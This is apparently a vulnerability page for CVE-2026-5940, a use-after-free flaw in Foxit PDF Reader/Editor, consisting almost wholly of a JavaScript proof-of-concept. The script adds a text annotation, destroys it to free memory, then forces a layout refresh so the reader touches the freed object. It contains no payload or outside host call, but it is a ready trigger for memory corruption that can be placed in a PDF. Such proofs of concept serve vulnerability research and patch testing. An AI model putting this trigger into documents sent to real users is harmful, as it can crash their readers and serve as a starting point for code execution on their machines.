CVE-2026-5940 Foxit软件释放后使用漏洞

// PoC Concept for CVE-2026-5940 // Target: Foxit PDF Reader/Editor // Description: Trigger UAF by removing annotation and forcing UI refresh var thisPage = this.getPageNum(0); // Step 1: Create a text annotation var annot = this.addAnnot({ page: 0, type: "Text", rect: [100, 700, 200, 750], contents: "CVE-2026-5940 Test", name: "TestAnnot" }); // Step 2: Remove the annotation via script to free memory annot.destroy(); // Step 3: Trigger a UI Refresh event // Attempting to access layout or view properties may trigger invalid object access this.layout = "SinglePage"; app.alert("PoC Triggered");